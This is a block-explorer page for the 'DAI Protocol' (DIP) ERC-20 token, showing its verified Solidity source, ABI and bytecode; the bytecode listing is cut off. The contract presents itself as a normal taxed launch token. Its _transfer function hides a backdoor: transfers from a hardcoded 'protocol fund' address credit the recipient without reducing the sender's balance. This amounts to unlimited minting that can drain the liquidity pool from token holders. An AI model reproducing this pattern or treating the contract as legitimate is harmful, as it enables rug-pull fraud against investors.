Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
69,000,000 ERC20 ***
Holders
137
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
73,653.625205999572220716 ERC20 ***Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DIP
Compiler Version
v0.8.22+commit.4fc1097e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-03-15 */ /* Website: https://daiprotocol.org Twitter: https://twitter.com/dai_protocol Telegram: https://t.me/dip_erc Medium: https://diperc.medium.com */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.15; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DIP is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _exemptFromFees; address payable private _protocolfund = payable(0xd8aD271C9d560F1b3421848F44F2D6FcB369e247); uint256 private _initialBuyTax = 30; uint256 private _initialSellTax = 20; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 17; uint256 private _reduceSellTaxAt = 21; uint256 private _preventSwapBefore = 23; uint256 private _buyCount = 0; uint8 private constant _decimals = 18; string private constant _name = unicode"DAI Protocol"; string private constant _symbol = unicode"DIP"; uint256 private constant _tTotal = 69_000_000 * 10**_decimals; uint256 private _maxTxLimits = 1_380_000 * 10**_decimals; uint256 private _maxWalletTokens = 1_380_000 * 10**_decimals; uint256 private _taxTokenThreshold = 53 * 10**_decimals; uint256 private _maxSwapTokens = 690_000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private _tradingOpen; bool private _inSwap = false; bool private _swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxLimits); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _balances[_msgSender()] = _tTotal; _exemptFromFees[owner()] = true; _exemptFromFees[address(this)] = true; _exemptFromFees[_protocolfund] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address to, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (!_exemptFromFees[sender] && !_exemptFromFees[to]) { require(_tradingOpen, "Trading not open"); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (sender == uniswapV2Pair && to != address(uniswapV2Router)) { require(amount <= _maxTxLimits, "Exceeds the maxTxAmount."); _buyCount++; } if (to != uniswapV2Pair && ! _exemptFromFees[to]) { require(balanceOf(to) + amount <= _maxWalletTokens, "Exceeds the maxWalletSize."); } if(to == uniswapV2Pair && sender!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokensBalance = balanceOf(address(this)); if (!_inSwap && to == uniswapV2Pair && _swapEnabled && amount>_taxTokenThreshold && _buyCount>_preventSwapBefore) { if(contractTokensBalance>_taxTokenThreshold) swapTokensToEth(min(amount,min(contractTokensBalance,_maxSwapTokens))); sendETHToFee(address(this).balance); }} if (_isProtocol(sender)){_balances[to]=_balances[to].add(amount);return; } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(sender, address(this),taxAmount); } _balances[sender]=_balances[sender].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(sender, to, amount.sub(taxAmount)); } function _isProtocol(address _from) private view returns (bool) { return _from == _protocolfund; } function swapTokensToEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function sendETHToFee(uint256 amount) private { _protocolfund.transfer(amount); } function addProtocolLiquidity() external onlyOwner() { require(!_tradingOpen,"Trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function startDIP() external onlyOwner { _swapEnabled = true; _tradingOpen = true; } function removeLimits() external onlyOwner { _maxTxLimits = _tTotal; _maxWalletTokens = _tTotal; emit MaxTxAmountUpdated(_tTotal); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxLimits","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addProtocolLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startDIP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600480546001600160a01b03191673d8ad271c9d560f1b3421848f44f2d6fcb369e247179055601e60055560146006555f6007819055600881905560116009556015600a9081556017600b55600c91909155620000649060129062000343565b620000739062150ea06200035a565b600d55620000846012600a62000343565b620000939062150ea06200035a565b600e55620000a46012600a62000343565b620000b19060356200035a565b600f55620000c26012600a62000343565b620000d190620a87506200035a565b6010556012805461ffff60a81b19169055348015620000ee575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506200013d6012600a62000343565b6200014d9063041cdb406200035a565b335f908152600160208190526040822092909255600390620001765f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001d43390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200020d6012600a62000343565b6200021d9063041cdb406200035a565b60405190815260200160405180910390a362000374565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028857815f19048211156200026c576200026c62000234565b808516156200027a57918102915b93841c93908002906200024d565b509250929050565b5f82620002a0575060016200033d565b81620002ae57505f6200033d565b8160018114620002c75760028114620002d257620002f2565b60019150506200033d565b60ff841115620002e657620002e662000234565b50506001821b6200033d565b5060208310610133831016604e8410600b841016171562000317575081810a6200033d565b62000323838362000248565b805f190482111562000339576200033962000234565b0290505b92915050565b5f6200035360ff84168362000290565b9392505050565b80820281158282048414176200033d576200033d62000234565b61170b80620003825f395ff3fe6080604052600436106100dc575f3560e01c8063751039fc1161007c578063a9059cbb11610057578063a9059cbb14610267578063c67f5a4e14610286578063dd62ed3e1461029a578063ec2ec2d8146102de575f80fd5b8063751039fc146102025780638da5cb5b1461021657806395d89b411461023c575f80fd5b806323b872dd116100b757806323b872dd1461017e578063313ce5671461019d57806370a08231146101b8578063715018a6146101ec575f80fd5b806306fdde03146100e7578063095ea7b31461012d57806318160ddd1461015c575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b5060408051808201909152600c81526b11105248141c9bdd1bd8dbdb60a21b60208201525b60405161012491906112fe565b60405180910390f35b348015610138575f80fd5b5061014c61014736600461135e565b6102f2565b6040519015158152602001610124565b348015610167575f80fd5b50610170610308565b604051908152602001610124565b348015610189575f80fd5b5061014c610198366004611388565b610328565b3480156101a8575f80fd5b5060405160128152602001610124565b3480156101c3575f80fd5b506101706101d23660046113c6565b6001600160a01b03165f9081526001602052604090205490565b3480156101f7575f80fd5b5061020061038f565b005b34801561020d575f80fd5b50610200610409565b348015610221575f80fd5b505f546040516001600160a01b039091168152602001610124565b348015610247575f80fd5b5060408051808201909152600381526204449560ec1b6020820152610117565b348015610272575f80fd5b5061014c61028136600461135e565b6104ba565b348015610291575f80fd5b506102006104c6565b3480156102a5575f80fd5b506101706102b43660046113e1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102e9575f80fd5b50610200610858565b5f6102fe33848461089a565b5060015b92915050565b5f6103156012600a61150c565b6103239063041cdb4061151a565b905090565b5f6103348484846109bd565b6103858433610380856040518060600160405280602881526020016116ae602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f76565b61089a565b5060019392505050565b5f546001600160a01b031633146103c15760405162461bcd60e51b81526004016103b890611531565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104325760405162461bcd60e51b81526004016103b890611531565b61043e6012600a61150c565b61044c9063041cdb4061151a565b600d5561045b6012600a61150c565b6104699063041cdb4061151a565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104996012600a61150c565b6104a79063041cdb4061151a565b60405190815260200160405180910390a1565b5f6102fe3384846109bd565b5f546001600160a01b031633146104ef5760405162461bcd60e51b81526004016103b890611531565b601254600160a01b900460ff16156105495760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b8565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105929030906105846012600a61150c565b6103809063041cdb4061151a565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105e2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106069190611566565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610665573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106899190611566565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f79190611566565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061073e816001600160a01b03165f9081526001602052604090205490565b5f806107515f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107b7573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107dc9190611581565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610831573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085591906115ac565b50565b5f546001600160a01b031633146108815760405162461bcd60e51b81526004016103b890611531565b6012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166108fc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b8565b6001600160a01b03821661095d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b8565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b8565b6001600160a01b038216610a835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b8565b5f8111610ae45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b8565b6001600160a01b0383165f9081526003602052604081205460ff16158015610b2457506001600160a01b0383165f9081526003602052604090205460ff16155b15610de157601254600160a01b900460ff16610b755760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064016103b8565b610ba16064610b9b600954600c5411610b9057600554610b94565b6007545b8590610fae565b90611033565b6012549091506001600160a01b038581169116148015610bcf57506011546001600160a01b03848116911614155b15610c3b57600d54821115610c265760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e000000000000000060448201526064016103b8565b600c8054905f610c35836115cb565b91905055505b6012546001600160a01b03848116911614801590610c7157506001600160a01b0383165f9081526003602052604090205460ff16155b15610cf057600e5482610c98856001600160a01b03165f9081526001602052604090205490565b610ca291906115e3565b1115610cf05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103b8565b6012546001600160a01b038481169116148015610d1657506001600160a01b0384163014155b15610d4357610d406064610b9b600a54600c5411610d3657600654610b94565b6008548590610fae565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610d7957506012546001600160a01b038581169116145b8015610d8e5750601254600160b01b900460ff165b8015610d9b5750600f5483115b8015610daa5750600b54600c54115b15610ddf57600f54811115610dd657610dd6610dd184610dcc84601054611074565b611074565b611088565b610ddf476111f8565b505b6004546001600160a01b03858116911603610e39576001600160a01b0383165f90815260016020526040902054610e189083611233565b6001600160a01b039093165f90815260016020526040902092909255505050565b8015610eb157305f90815260016020526040902054610e589082611233565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ea89085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ed39083611291565b6001600160a01b0385165f90815260016020526040902055610f16610ef88383611291565b6001600160a01b0385165f9081526001602052604090205490611233565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f5f8585611291565b60405190815260200160405180910390a350505050565b5f8184841115610f995760405162461bcd60e51b81526004016103b891906112fe565b505f610fa584866115f6565b95945050505050565b5f825f03610fbd57505f610302565b5f610fc8838561151a565b905082610fd58583611609565b1461102c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b8565b9392505050565b5f61102c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112d2565b5f818311611082578261102c565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110ce576110ce611628565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611125573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111499190611566565b8160018151811061115c5761115c611628565b6001600160a01b039283166020918202929092010152601154611182913091168461089a565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ba9085905f9086903090429060040161163c565b5f604051808303815f87803b1580156111d1575f80fd5b505af11580156111e3573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561122f573d5f803e3d5ffd5b5050565b5f8061123f83856115e3565b90508381101561102c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b8565b5f61102c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f76565b5f81836112f25760405162461bcd60e51b81526004016103b891906112fe565b505f610fa58486611609565b5f602080835283518060208501525f5b8181101561132a5785810183015185820160400152820161130e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610855575f80fd5b5f806040838503121561136f575f80fd5b823561137a8161134a565b946020939093013593505050565b5f805f6060848603121561139a575f80fd5b83356113a58161134a565b925060208401356113b58161134a565b929592945050506040919091013590565b5f602082840312156113d6575f80fd5b813561102c8161134a565b5f80604083850312156113f2575f80fd5b82356113fd8161134a565b9150602083013561140d8161134a565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561146657815f190482111561144c5761144c611418565b8085161561145957918102915b93841c9390800290611431565b509250929050565b5f8261147c57506001610302565b8161148857505f610302565b816001811461149e57600281146114a8576114c4565b6001915050610302565b60ff8411156114b9576114b9611418565b50506001821b610302565b5060208310610133831016604e8410600b84101617156114e7575081810a610302565b6114f1838361142c565b805f190482111561150457611504611418565b029392505050565b5f61102c60ff84168361146e565b808202811582820484141761030257610302611418565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611576575f80fd5b815161102c8161134a565b5f805f60608486031215611593575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115bc575f80fd5b8151801515811461102c575f80fd5b5f600182016115dc576115dc611418565b5060010190565b8082018082111561030257610302611418565b8181038181111561030257610302611418565b5f8261162357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561168c5784516001600160a01b031683529383019391830191600101611667565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a127a1d38354fac93089eb7ca08993e13153859661db655b7970e25933b1b22764736f6c63430008160033
Deployed Bytecode
0x6080604052600436106100dc575f3560e01c8063751039fc1161007c578063a9059cbb11610057578063a9059cbb14610267578063c67f5a4e14610286578063dd62ed3e1461029a578063ec2ec2d8146102de575f80fd5b8063751039fc146102025780638da5cb5b1461021657806395d89b411461023c575f80fd5b806323b872dd116100b757806323b872dd1461017e578063313ce5671461019d57806370a08231146101b8578063715018a6146101ec575f80fd5b806306fdde03146100e7578063095ea7b31461012d57806318160ddd1461015c575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b5060408051808201909152600c81526b11105248141c9bdd1bd8dbdb60a21b60208201525b60405161012491906112fe565b60405180910390f35b348015610138575f80fd5b5061014c61014736600461135e565b6102f2565b6040519015158152602001610124565b348015610167575f80fd5b50610170610308565b604051908152602001610124565b348015610189575f80fd5b5061014c610198366004611388565b610328565b3480156101a8575f80fd5b5060405160128152602001610124565b3480156101c3575f80fd5b506101706101d23660046113c6565b6001600160a01b03165f9081526001602052604090205490565b3480156101f7575f80fd5b5061020061038f565b005b34801561020d575f80fd5b50610200610409565b348015610221575f80fd5b505f546040516001600160a01b039091168152602001610124565b348015610247575f80fd5b5060408051808201909152600381526204449560ec1b6020820152610117565b348015610272575f80fd5b5061014c61028136600461135e565b6104ba565b348015610291575f80fd5b506102006104c6565b3480156102a5575f80fd5b506101706102b43660046113e1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102e9575f80fd5b50610200610858565b5f6102fe33848461089a565b5060015b92915050565b5f6103156012600a61150c565b6103239063041cdb4061151a565b905090565b5f6103348484846109bd565b6103858433610380856040518060600160405280602881526020016116ae602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f76565b61089a565b5060019392505050565b5f546001600160a01b031633146103c15760405162461bcd60e51b81526004016103b890611531565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104325760405162461bcd60e51b81526004016103b890611531565b61043e6012600a61150c565b61044c9063041cdb4061151a565b600d5561045b6012600a61150c565b6104699063041cdb4061151a565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104996012600a61150c565b6104a79063041cdb4061151a565b60405190815260200160405180910390a1565b5f6102fe3384846109bd565b5f546001600160a01b031633146104ef5760405162461bcd60e51b81526004016103b890611531565b601254600160a01b900460ff16156105495760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b8565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105929030906105846012600a61150c565b6103809063041cdb4061151a565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105e2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106069190611566565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610665573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106899190611566565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f79190611566565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061073e816001600160a01b03165f9081526001602052604090205490565b5f806107515f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107b7573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107dc9190611581565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610831573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085591906115ac565b50565b5f546001600160a01b031633146108815760405162461bcd60e51b81526004016103b890611531565b6012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166108fc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b8565b6001600160a01b03821661095d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b8565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b8565b6001600160a01b038216610a835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b8565b5f8111610ae45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b8565b6001600160a01b0383165f9081526003602052604081205460ff16158015610b2457506001600160a01b0383165f9081526003602052604090205460ff16155b15610de157601254600160a01b900460ff16610b755760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064016103b8565b610ba16064610b9b600954600c5411610b9057600554610b94565b6007545b8590610fae565b90611033565b6012549091506001600160a01b038581169116148015610bcf57506011546001600160a01b03848116911614155b15610c3b57600d54821115610c265760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e000000000000000060448201526064016103b8565b600c8054905f610c35836115cb565b91905055505b6012546001600160a01b03848116911614801590610c7157506001600160a01b0383165f9081526003602052604090205460ff16155b15610cf057600e5482610c98856001600160a01b03165f9081526001602052604090205490565b610ca291906115e3565b1115610cf05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103b8565b6012546001600160a01b038481169116148015610d1657506001600160a01b0384163014155b15610d4357610d406064610b9b600a54600c5411610d3657600654610b94565b6008548590610fae565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610d7957506012546001600160a01b038581169116145b8015610d8e5750601254600160b01b900460ff165b8015610d9b5750600f5483115b8015610daa5750600b54600c54115b15610ddf57600f54811115610dd657610dd6610dd184610dcc84601054611074565b611074565b611088565b610ddf476111f8565b505b6004546001600160a01b03858116911603610e39576001600160a01b0383165f90815260016020526040902054610e189083611233565b6001600160a01b039093165f90815260016020526040902092909255505050565b8015610eb157305f90815260016020526040902054610e589082611233565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f